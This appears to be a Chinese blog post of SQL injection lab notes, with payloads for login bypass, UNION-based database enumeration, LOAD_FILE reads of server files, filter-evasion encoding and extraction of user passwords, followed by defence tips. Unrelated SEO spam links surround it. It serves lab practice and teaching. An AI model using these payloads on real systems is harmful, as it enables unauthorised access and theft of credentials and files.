当前位置: 首页 > wzjs >正文

网站的icp备案信息奶茶店推广软文500字

网站的icp备案信息,奶茶店推广软文500字,网站备案拍照好麻烦,建设网官网住房和城乡厅官网🔐 一、基础注入知识点 什么是SQL注入? SQL注入(SQL Injection)是指攻击者通过构造恶意SQL语句,将其注入到Web应用程序的输入中,从而控制后台数据库服务器,达到信息泄露、数据篡改、越权操作等…

🔐 一、基础注入知识点

什么是SQL注入?

SQL注入(SQL Injection)是指攻击者通过构造恶意SQL语句,将其注入到Web应用程序的输入中,从而控制后台数据库服务器,达到信息泄露、数据篡改、越权操作等目的。


🧪 二、SQL注入模拟与分类总结

✅ 模拟1:登录绕过 / 万能密码

' OR 1=1 --
  • 原理:利用逻辑表达式永远为真 (1=1),绕过登录验证。

  • 用途:用于登录框、管理员后台等认证接口的绕过。


✅ 模拟2:信息收集类注入(基于UNION的注入)

  1. 注入点探测

    ?uuid=-1'+union+ALL+SELECT+'1','2','3','4','5','6
    • 检查返回字段数是否正确,判断注入点位置。

  2. 获取数据库名

    SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata
    
  3. 获取数据表名

    SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='wasjcms'
  4. 获取字段名

    SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'
  5. 获取字段值

    SELECT flag FROM wasjcms.flag

✅ 模拟3:读取服务器敏感文件

UNION SELECT ..., LOAD_FILE('/var/www/html/key.flag'), ...
  • 函数LOAD_FILE(path) 可读取服务器文件内容(需满足条件如路径可读、权限开放)。

  • 风险:信息泄露、读取flag等敏感数据。


✅ 模拟4:数据库结构探测与读取数据

?id=0 UNION SELECT 1,2,GROUP_CONCAT(table_name),... FROM information_schema.tables WHERE table_schema=database()
  • 探测当前数据库的表结构

  • GROUP_CONCAT(...):合并多行数据为单行输出,便于查看。

?id=0 UNION SELECT ..., GROUP_CONCAT(flag) FROM cms.cms_flag
  • 实际读取指定表字段值


✅ 模拟5:编码绕过与路径文件读取

?id=0')%0bununionion%0bselect%0b1,2,3,load_file('/tmp/key.flag')%23
  • %0b 是 URL 编码的垂直制表符,用于绕过WAF或过滤器。

  • %23# 的URL编码,相当于注释符。


✅ 模拟6:精确信息提取

- 获取当前数据库
(SELECT database())
- 获取表名
SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE table_schema='php_test'
- 获取字段名
SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns WHERE table_name='users'
- 获取数据内容
SELECT GROUP_CONCAT(username,password) FROM php_test.users

📌 三、常用注入函数与技巧

类别用法/函数说明
绕过' OR 1=1 --登录认证绕过
信息合并GROUP_CONCAT()将多行字段合并
系统函数database(), now(), user()当前数据库/时间/用户
系统表information_schema.tables, columns, schemata探测数据库结构
文件读取LOAD_FILE()读取服务器文件
注释符--, #, /*...*/注释掉原SQL

🧱 四、防御建议

  1. 使用预编译语句(Prepared Statements / ORM)

  2. 对用户输入进行严格校验与转义

  3. 最小权限原则:数据库用户不要授予FILE, SUPER, GRANT, DROP权限

  4. 隐藏错误信息,不返回SQL异常到前端

  5. 部署WAF / IDS 等安全设备进行注入防护

pteSQL注入模拟1

万能密码' OR 1=1 -- 

pteSQL注入模拟2

找注入点

?uuid=-1'+union+ALL+SELECT+'1','2','3','4','5','6

数据库名 wasjcms

?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.SCHEMATA),'3','4','5','6

表名 flag

?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(table_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA='wasjcms'),'3','4','5','6

字段flag

?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(column_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='flag'),'3','4','5','6

数据

?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+flag+FROM+wasjcms.flag),'3','4','5','6

pteSQL注入模拟3

union select 1,2,3,4,5,6,7,8,9,10,11,12,load_file('/var/www/html/key.flag'),14,15--+

pteSQL注入模拟4

联合查询

?id=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+

?id=0 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--+

?id=0 union select 1,2,group_concat(convert(table_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--+

?id=0 union select 1,2,group_concat(flag),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_flag--+

pteSQL注入模拟5

?id=0')%0bununionion%0bselect%0b1,2,3,load_file('/tmp/key.flag')%23

pteSQL注入模拟6

 数据库名:

2','3',(SELECT database()),NOW()) -- 

表:

2',(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables where table_schema='php_test'),'4',NOW()) -- 

列:

2',(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns where table_schema='php_test' and table_name='users'),'4',NOW()) -- 
2',(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns where table_schema='php_test' and table_name='articles'),'4',NOW()) -- 

值:

2','3',(SELECT GROUP_CONCAT(password) from php_test.users),NOW()) -- 

pteSQL注入模拟7

http://www.dtcms.com/wzjs/451530.html

相关文章:

  • 深圳办公室租金广州网站优化步骤
  • 中国第一个做电商网站优化大师官方
  • 什么网站可以做免费广告海南seo
  • 河南建站网站seo站长助手
  • 厦门建设局网站首页6海外推广渠道都有哪些
  • 高淳哪家做网站不错营销渠道的概念
  • 贸易公司网站建设百度明星人气榜排名
  • 手机网页设计appseo外链技巧
  • 爱网站免费一站二站seo优化关键词
  • 在家用服务器做网站西安seo按天收费
  • 互联网开发工资一般多少seo推广公司价格
  • 伊春网站建设百度公司的发展历程
  • wordpress如何修改代码贵港seo关键词整站优化
  • erp开发和网站开发福州seo排名优化公司
  • 营销型网站页面布局长沙网站到首页排名
  • 文件网站建设微信广告推广如何收费
  • 信息型网站建设的目的定位2022真实新闻作文400字
  • 网站操作日志长沙网站托管优化
  • 宁波淘宝网站建设北京seo排名外包
  • 网站建设基础流程图中国十大网站
  • 哪些公司做网站比较好torrentkitty磁力搜索引擎
  • 做网站哪些公司比较靠谱竞价托管一般多少钱
  • wordpress 摘录搜索引擎排名优化是什么意思
  • 网站建设方案书下载开发网站的流程是
  • 著名建筑设计网站上海建站seo
  • 上海平台网站制作公司搜狗站长平台打不开
  • 苏州好的网站公司名称最近新闻头条最新消息
  • 吴忠网站建设报价什么是优化
  • 做外包胡it网站网站开发培训
  • 电脑网站做淘宝客seo群发软件